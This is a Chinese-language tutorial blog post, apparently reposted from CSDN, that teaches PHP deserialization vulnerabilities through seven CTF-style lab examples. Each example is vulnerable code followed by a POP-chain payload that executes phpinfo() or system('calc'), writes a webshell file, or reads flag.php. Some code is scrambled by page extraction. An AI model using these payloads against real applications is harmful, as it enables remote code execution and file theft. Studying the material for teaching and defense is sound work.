iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >从0到1之php反序列化的成长之路
  • 849
分享到

从0到1之php反序列化的成长之路

phpweb安全反序列化 2023-09-01 18:09:24 849人浏览 安东尼
摘要

简介 好好学习,天天向上 反序列化漏洞,是比较难搞定的漏洞,因为想要玩转反序列化漏洞,就要懂编程懂语言懂逻辑,抛开了开发,反序列化如纸上谈兵,看完了B站蜗牛学苑的PHP反序列化课程,深有感触,一定要总

简介

好好学习,天天向上

反序列化漏洞,是比较难搞定的漏洞,因为想要玩转反序列化漏洞,就要懂编程懂语言懂逻辑,抛开了开发,反序列化如纸上谈兵,看完了B站蜗牛学苑的PHP反序列化课程,深有感触,一定要总结一下,想要拿下反序列化,一定要有两点:1,面向属性编程的思维,2.一步一步跟踪代码逻辑的耐心

初识

牢记这两句话,反序列化没有那么可怕

序列化,将对象转换成特定格式字符串保存反序列化,将特定格式字符串转成对象使用

既然不能脱离开发,先来两行php代码(后面的代码请各位自行把php开头结尾标签加上)用phpstudy发布

虽然只有短短两行代码,已经足以说明问题了$string_object是一个变量也就是对象,有人会有疑问:这不是字符串吗,当然是字符串,但是字符串也是String类的一个对象啊,所以对这个对象进行序列化

$string_object = "string";echo serialize($string_object);

在这里插入图片描述

在这里插入图片描述

s:6:"string";s代表着是个字符串,值有6位,string序列化后,这个对象变成s:6:"string";保存起来了

方便理解我们再换一个整型,i代表int型,不过好像没有长度,直接就是值

$int_object = 10086;echo serialize($int_object);

在这里插入图片描述

再换个数组

$array_object = array("first", "second", "third");echo serialize($array_object);
a:3:{i:0;s:5:"first";i:1;s:6:"second";i:2;s:5:"third";}a代表是数组,3代表有3个元素,花括号里面的i就是下面,下表为0的s就是字符串,有5位,是first,以此类推

在这里插入图片描述

那么既然有序列化,也就有反序列化

$array_object_string = 'a:3:{i:0;s:5:"first";i:1;s:6:"second";i:2;s:5:"third";}';$array_object = unserialize($array_object_string);var_dump($array_object);

在这里插入图片描述

在这里插入图片描述

常见函数

先把php反序列化会用到的函数,死记硬背,牢牢记在心里

方法名作用
__construct构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup()使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep()使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct()对象被销毁时触发
__call()在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set()在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset()当对不可访问属性调用isset()或empty()时触发
__unset()当对不可访问属性调用unset()时触发
__invoke()当脚本尝试将对象调用为函数时触发

记住这张表,后面会经常使用

接下来看着下面的代码思考,当执行$car = new Car();的时候,会有哪些输出?

答案是正在初始化和正在释放资源,为什么呢?创建了一个对象就会执行这个类的构造函数,所以会输出正在初始化,接着很快的,我们没有使用这个对象car ,所以php就认为car 已经用完了,改回收了,就会执行析构函数,输出正在释放资源

class Car {    var $name = '';     var $price = '';    // 魔术方法:__construct,指类在实例化的时候会,自动调用    function __construct($name='劳斯莱斯', $price='350达不溜') {        $this->name = $name;        $this->price = $price;        echo "正在初始化. 
"; } // 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用 function __destruct() { echo "正在释放资源.
"; } // 魔术方法:__sleep,在类实例被序列化时,自动调用 function __sleep() { echo "正在序列化.
"; // 返回一个由序列化类的属性名构成的数组 return array('name', 'price'); } // 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用 // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct function __wakeup() { echo "正在被反序列化.
"; }}$car = new Car();

在这里插入图片描述

如果我再加一句,会有怎样的输出呢?

在上面的基础上,继续输出正在序列化,并且输出序列化后的结果,可以这样理解,对象要序列化,说明暂时不用呗,那就准备睡觉

class Car {    var $name = '';     var $price = '';    // 魔术方法:__construct,指类在实例化的时候会,自动调用    function __construct($name='劳斯莱斯', $price='1/4爽达不溜') {        $this->name = $name;        $this->price = $price;        echo "正在初始化. 
"; } // 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用 function __destruct() { echo "正在释放资源.
"; } // 魔术方法:__sleep,在类实例被序列化时,自动调用 function __sleep() { echo "正在序列化.
"; // 返回一个由序列化类的属性名构成的数组 return array('name', 'price'); } // 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用 // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct function __wakeup() { echo "正在被反序列化.
"; }}$car = new Car();echo serialize($car) . "
"

在这里插入图片描述

如果是反序列化呢,会输出什么呢?

反序列化,被保存成字符串的对象要醒来了,要将其从字符串转为对象,所以是正在被反序列化,对象用完后自然要调用析构函数,也就会输出正在释放资源,注意,这里没有输出正在初始化,所以记住,构造函数只有在new时候会调用,我们即使通过反序列化弄出来一个对象,也不会调用构造函数

通过修改序列化的字符串,导致这个对象在反序列化后,属性被修改了,这就是我们后面会经常提到的面向属性编程

class Car {    var $name = '';     var $price = '';    // 魔术方法:__construct,指类在实例化的时候会,自动调用    function __construct($name='劳斯莱斯', $price='1/4爽达不溜') {        $this->name = $name;        $this->price = $price;        echo "正在初始化. 
"; } // 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用 function __destruct() { echo "正在释放资源.
"; } // 魔术方法:__sleep,在类实例被序列化时,自动调用 function __sleep() { echo "正在序列化.
"; // 返回一个由序列化类的属性名构成的数组 return array('name', 'price'); } // 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用 // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct function __wakeup() { echo "正在被反序列化.
"; }}// $car = new Car();// echo serialize($car) . "
"$car_string = 'O:3:"Car":2:{s:4:"name";s:12:"栾博基尼";s:5:"price";s:7:"0.01爽";}';$car = unserialize($car_string);var_dump($car);

在这里插入图片描述

是否可以找到点感觉呢?

实战

例1

新手村之牛刀小试-1

code);    }}$test = unserialize($_GET['code']);?>
不着急做,先来分析一下代码,其实反序列化分析代码,可以从起点到终点,也可以从终点到起点,两种方式都要会,我比较倾向于从终点到起点,终点很显然是@eval($this->code),@eval()可以查一下,这个可以执行php的内置函数,比如phpinfo();,如果$this->code的值是phpinfo(),就会执行输出php的信息,要想这行这里,就要找到谁会调用__destruct(),反序列化的时候会调用__wakeup()和__destruct(),那就简单了,如果unserialize($_GET['code']);从get请求中接收参数,将参数的值反序列化,结案$_GET['code']这里从get请求要接收一个序列化后的内容,然后把USDemo的$code属性注入phpinfo

创建另一个php,开始构造payload,生成序列化数据,php标签自行添加

class USDemo {    var $code;}$usdemo = new USDemo();$usdemo->code = "phpinfo();";echo serialize($usdemo);

生成一段序列化的字符串

O:6:"USDemo":1:{s:4:"code";s:10:"phpinfo();";}

在这里插入图片描述

作为参数,传入

在这里插入图片描述

跟踪代码,可知,第八行已被改为执行phpinfo();

在这里插入图片描述

例2

新手村之牛刀小试-2

class Test {    public $phone = '';    var $ip = '';    public function __wakeup () {        $this->getPhone();    }    public function __destruct() {        echo $this->getIp();    }        public function getPhone() {        // echo $this->phone;        @eval($this->phone);    }    public function getIp() {        echo $this->ip;    }}$source = $_POST['source'];$p2 = unserialize($source);

从终点开始

终点是80行的eval,eval的参数是phone,phone是这个类的属性,所以我们要注入这个属性,eval在getPhone()调用,getPhone()在wakeup调用,所以没问题了

在这里插入图片描述

构造payload,复制Test类,只改属性的值,把phone改为phpinfo();

这里改属性方法太多了,可以new完复制,可以在定义的时候写死,或者价格构造方法,都可以,只要改掉这个值即可

class Test {    public $phone = 'system("calc");';}echo serialize(new Test());

生成

O:4:"Test":1:{s:5:"phone";s:15:"system("calc");";}

在这里插入图片描述

通过POST发送

在这里插入图片描述

例3

过了新手村,我们来几道硬菜

class Demo {    private $a;    function __construct() {        $this->a = new Test();    }    function __destruct() {        $this->a->hello();    }}class Test {    function hello() {        echo "Hello World.";    }}class Vul {    protected $data;    function hello() {        @eval($this->data);    }    function __call($name, $args) {        $this->hi();    }}unserialize($_GET['code']);

这道题有Test事情吗?没有的,我们调用链根本不用到Test,所以面向属性编程需要三步走

1.反序列化的对象一定要是类Demo的2.把Demo类的$a赋值为类Vul的对象3.把类Vul的$data赋值为phpinfo();

在这里插入图片描述

这里注意,和之前不太一样的是牵扯到了多个类,所以要用url编码就不能直接输出序列化后的了,先序列化,再url编码,否则就会报错

class Vul {    protected $data = "phpinfo();";}class Demo {    private $a;    function __construct() {        $this->a = new Vul();    }}echo serialize(new Demo()) . "
";echo urlencode(serialize(new Demo()));

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

例4

class Template {    var $cacheFile = "cache.txt";    var $template = "
Welcome back %s
"; function __construct($data = null) { $data = $this->loadData($data); $this->render($data); } function loadData($data) { return unserialize($data); return []; } function createCache($file = null, $tpl = null) { $file = $file ?: $this->cacheFile; $tpl = $tpl ?: $this->template; file_put_contents($file, $tpl); } function render($data) { echo sprintf($this->template, htmlspecialchars($data['name'])); } function __destruct() { $this->createCache(); }}new Template($_COOKIE['data']);

这次我们从入口开始跟踪代码

31行,创建Template的对象,传入一个参数,这个参数是从cookie中传入,那简单我们到时候直接bp改cookie的参数就好了7行,既然是创建对象,自然会走到__construct()方法,这一行$data就是我们通过cookie传入的参数8行,先调用loadData()方法,把上一行的$data传入,再将这个方法执行的结果赋值给$data,有点绕,不过逻辑并不复杂,我们需要先进入loadData()12-13行,直接在13行对$data反序列化,也就是我们通过cookie传入的参数反序列化,然后直接return了,也就是说,14行的return []永远不会执行,是迷惑8行,执行完后,将反序列化后的对象返回给这个$data,这里反序列化谁呢?其实答案很明显,整个题里就一个类Template,显然反序列化针对的依旧是这个类,这里要注意,首先是31行的new进行了一次类的实例化,在这层里面,又进行了反序列化,反序列化也是这个类,那么此时我们就不用再跟进第一层new的实例化过程了,因为我们无法注入参数,没有意义,所以我们需要考虑从13行反序列化的链9行,不要被迷惑了,上面已经说了,第一层的new帮我们找到13行的unserialize($data)后,已经没用用处了,直接从第二层的反序列化后的链跟踪就行了,因为反序列化后,一定会执行__destruct(),__destruct()里调用了createCache(),我们就要从17行继续了17行,$file和$tpl默认值都是空18-19行,由于17行默认值都是空,所以三元运算的赋值结果是$file = $this->cacheFile,$tpl = $this->template20行,将$tpl作为文件内容写入$file作为的文件名的文件中,这下就豁然开朗了,这就是让写webshell嘛,那就是说$this->cacheFile和$this->template也就是本类的两个属性,在构造反序列化poc的时候要修改成WEBshell运行完20行,会再回到第一层,第一层是啥我们不在乎,想跟踪的可以打断点,但是注意一点,再回到第一层的时候,我们之前跟踪到了9行其实就没必要跟踪下去了,但是这个题有意思的就在这里,从9行定位到了23行,,在24行,出现了$data['name'],如果$data不是一个数组的话,$data['name']就会报错,导致程序中止,由于这里的执行是在反序列化的__destruct()前,所以还需要确保$data是一个数组,也就是说8行$data赋值为数组,也就是说12行的loadData(),return的是一个数组,那么在构造poc的时候要先变成数组,再序列化,这一点我会先演示错误的示范

在这里插入图片描述

先执行这个

class Template {    var $cacheFile = "./shell.php";    var $template = '';}$template = new Template();echo urlencode(serialize($template));

在这里插入图片描述

使用firefox修改cookie,报错说必须是array

在这里插入图片描述

所以这里我们必须把对象放入数组后再序列化

class Template {    var $cacheFile = "./shell.php";    var $template = '';}$template = new Template();$array = array($template);echo urlencode(serialize($array));

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

写入后,自然就可以访问这个php了,这个url转码把空格转成+,不过我们这里手动把+改为%20

在这里插入图片描述

在这里插入图片描述

这道题里面出现了N次 d a t a ,所以要弄清这个 data,所以要弄清这个 data,所以要弄清这个data什么时候是形参,什么时候是实参,什么时候是方法里面的局部变量

例5

class Tiger{    public $string;    protected $var;    public function __toString(){        return $this->string;    }    public function boss($value){        @eval($value);    }    public function __invoke(){        $this->boss($this->var);    }}class Lion{    public $tail;    public function __construct(){        $this->tail = array();    }    public function __get($value){        $function = $this->tail;        return $function();    }}class Monkey{    public $head;    public $hand;    public function __construct($here="Zoo"){        $this->head = $here;        echo "Welcome to ".$this->head."
"; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) { echo "hacker"; $this->source = "index.php"; } }}class Elephant{ public $nose; public $nice; public function __construct($nice="nice"){ $this->nice = $nice; echo $nice; } public function __toString(){ return $this->nice->nose; }}if(isset($_GET['zoo'])){ @unserialize($_GET['zoo']);}else{ $a = new Monkey; echo "Hello!";}

代码比较长,我们分成两段分析,还是先找终点,明显终点在10行的eval

10行,如果想要执行eval,第一,value得是类属性可控、第二,要找到谁调用第9行boss()12行,会在13行调用boss()并且传入$var,$var是本类属性可控,之前的疑问解决了,新疑问来了,哪里会调用这一行的__invoke()__invoke:将对象调用为函数时触发,那也就是说如果谁将Tiger的对象当成函数用就会触发这里,找来找去24行有点像23行,将本类的tail赋值给$function24行,将变量后面加了个看似像方法的(),那也就是说如果$this->tail是Tiger的一个对象,在这里就会当成方法来使用,这种方式没见过,有待商榷,这是我们需要验证的,称之为【猜想一】吧,那么新的问题又来了,哪里会调用这个22行的__get()呢__get:读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性),也就是说要找到另外一个地方调用了类Lion中不存在的属性值会调用这里,找来找去也只有下图

在这里插入图片描述

上书说道,找属性调用,51行最像属性调用了,连续两个->51行,$this->nice,这个明显是找到了本类里面的$nice,再往下找nose的话,$nice本身并没有nose,可以说跟nose没有半毛钱关系,但是如果,$this->nice或者说是$nice被注入成了Lion的对象,Lion类没有nose属性,那不就调用上面说的__get()了吗,但是能不能这样用,是另外一回事,假设能这样用并称之为【猜想二】上面的问题解决了,新的问题又双叒叕来了,怎么调用51行,那得找调用50行的地方,打眼一看没有直接调用__toString()的__toString:当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法那当下就是要找把Elephant的对象能当成字符串用的,找来找去在36行的正则匹配方法里preg_match(),这个方法都知道是正则的串匹配,既然是串匹配,问题就好解决了36行,$this->head正常情况下应该是个源串,但是如果$this->是Elephant的对象不就把他当成字符串用了,不就调用toString了,前提是可以这样用,我们称之为【猜想三】,万事俱备,只差能调用Monkey的地方了,看到56行,那我们最后构造poc就构造Monkey对象的序列化串就好了啊

在这里插入图片描述

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )搜索 subject 与 pattern 给定的正则表达式的一个匹配。参数说明:$pattern: 要搜索的模式,字符串形式。$subject: 输入字符串。$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。$flags:flags 可以被设置为以下标记值:PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。返回值返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

在这里插入图片描述

理论上是可以的,前提是留给我们的三个猜想都需要达成,其实在研究反序列化的时候,会经常遇见这种类似“猜想”的情况,我们要做的就是遇见了,立马右键新建一个test.php把这个“猜想”进行验证,我这里是知道答案,而且不中断代码讲解,所以才留到最后统一验证,一定要边思考边验证边跟踪

【猜想一】A类的对象a,将对象a使用a()的方式调用,会调用A类的__invoke()方法

在这里插入图片描述

【猜想二】B类有属性attribute,B类的对象b调用c属性,会调用B类的__get()方法

在这里插入图片描述

【猜想三】C类的对象c作为preg_match()的前两个string类型的参数时,会调用C类的__toString()方法

在这里插入图片描述

三个猜想都验证完毕,直接上poc了

class Tiger{    protected $var = "phpinfo();";}class Lion{    public $tail;    public function __construct(){        $this->tail = new Tiger();    }}class Elephant{    public $nice;    public function __construct(){        $this->nice = new Lion();    }}class Monkey{    public $head;    public function __construct(){        $this->head = new Elephant();    }}echo serialize(new Monkey());

在这里插入图片描述

在这里插入图片描述

例6

轻松一下,来做个送分题,例5和例6都做出来了,这道题简直就是白给

class start_gg {    public $mod1;    public $mod2;    public function __destruct() {        $this->mod1->test1();    }}class Call {    public $mod1;    public $mod2;    public function test1() {        $this->mod1->test2();    }}class funct {    public $mod1;    public $mod2;    public function __call($test2,$arr) {        $s1 = $this->mod1;        $s1();    }}class func {    public $mod1;    public $mod2;    public function __invoke() {        $this->mod2 = "字符串拼接".$this->mod1;    } }class string1 {    public $str1;    public $str2;    public function __toString() {        $this->str1->get_flag();        return "1";    }}class GetFlag {    public function get_flag() {        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";    }}$a = $_GET['string'];unserialize($a);

过于简单了

在这里插入图片描述

class start_gg {    public $mod1;    public function __construct() {        $this->mod1 = new Call();    }}class Call {    public $mod1;    public function __construct() {        $this->mod1 = new funct();    }}class funct {    public $mod1;    public function __construct() {        $this->mod1 = new func();    }}class func {    public $mod1;    public function __construct() {        $this->mod1 = new string1();    }}class string1 {    public $str1;    public function __construct() {        $this->str1 = new GetFlag();    }}class GetFlag {}echo urlencode(serialize(new start_gg()));

在这里插入图片描述

在这里插入图片描述

例7

class Read {    public $var;    public function file_get($value) {        $text = base64_encode(file_get_contents($value));        return $text;    }    public function __invoke(){        $content = $this->file_get($this->var);        echo $content;    }}class Show {    public $source;    public $str;    public function __construct($file='index.php') {        $this->source = $file;        echo $this->source.'Welcome'."
"; } public function __toString() { $this->str['str']->source; return ""; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); }}if(isset($_GET['hello'])) { unserialize($_GET['hello']);}else { $show = new Show('index.php'); $show->_show();}

这道题目标是读取flag.php文件,这个文件内容如下

E10ADC3949BA59ABBE56E057F20F883E

在这里插入图片描述

9行,显然终点在Read类的9行方法体内,会在10行调用5行的方法读取文件,在11行输出,那么$var就应该是文件名,找调用invoke的地方,找到了熟悉的46行46行,又把对象当成方法用,那就是$p就应该是Read的对象了,哪里调用这个get呢,找到了21行的toString,那么$this->str['str']应该是Test的对象,哪里会调用toString,注意,这里是一个坑点,我就在这翻车了,打眼一看32行的wakeup不就直接调用了preg_match(),那么$this->source应该是new Show()

在这里插入图片描述

按照上面的分析,poc应该这么写

class Read {    public $var;    public function __construct() {        $this->var = "./flag.php";    }}class Show {    public $source;    public $str;    public function __construct() {        $this->source = new Show();        $this->str = array("str"=>new Test());    }}class Test {    public $p;    public function __construct() {        $this->p = new Read();    }}urlencode(serialize(new Show()));

但是当我执行的时候,出现无线递归,那是因为Show类的构造方法里,一直在new Show(),那么不就无线循环了

在这里插入图片描述

所以poc里还不能把source进行赋值,需要先new好,再给source传对象

class Read {    public $var;    public function __construct() {        $this->var = "./flag.php";    }}class Show {    public $source;    public $str;    public function __construct() {        $this->str = array("str"=>new Test());    }}class Test {    public $p;    public function __construct() {        $this->p = new Read();    }}$show = new Show();$show->source = $show;echo urlencode(serialize($show));

在这里插入图片描述

在这里插入图片描述

附件

所有用到的代码如下

漏洞代码

file_get($this->var);        echo $content;    }}class Show {    public $source;    public $str;    public function __construct($file='index.php') {        $this->source = $file;        echo $this->source.'Welcome'."
"; } public function __toString() { $this->str['str']->source; return ""; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); }}if(isset($_GET['hello'])) { unserialize($_GET['hello']);}else { $show = new Show('index.php'); $show->_show();}?>

poc代码

var = "./flag.php";    }}class Show {    public $source;    public $str;    public function __construct() {        $this->str = array("str"=>new Test());    }}class Test {    public $p;    public function __construct() {        $this->p = new Read();    }}$show = new Show();$show->source = $show;echo urlencode(serialize($show));?>

来源地址:https://blog.csdn.net/zy15667076526/article/details/127212738

--结束END--

本文标题: 从0到1之php反序列化的成长之路

本文链接: https://www.lsjlt.com/news/389282.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作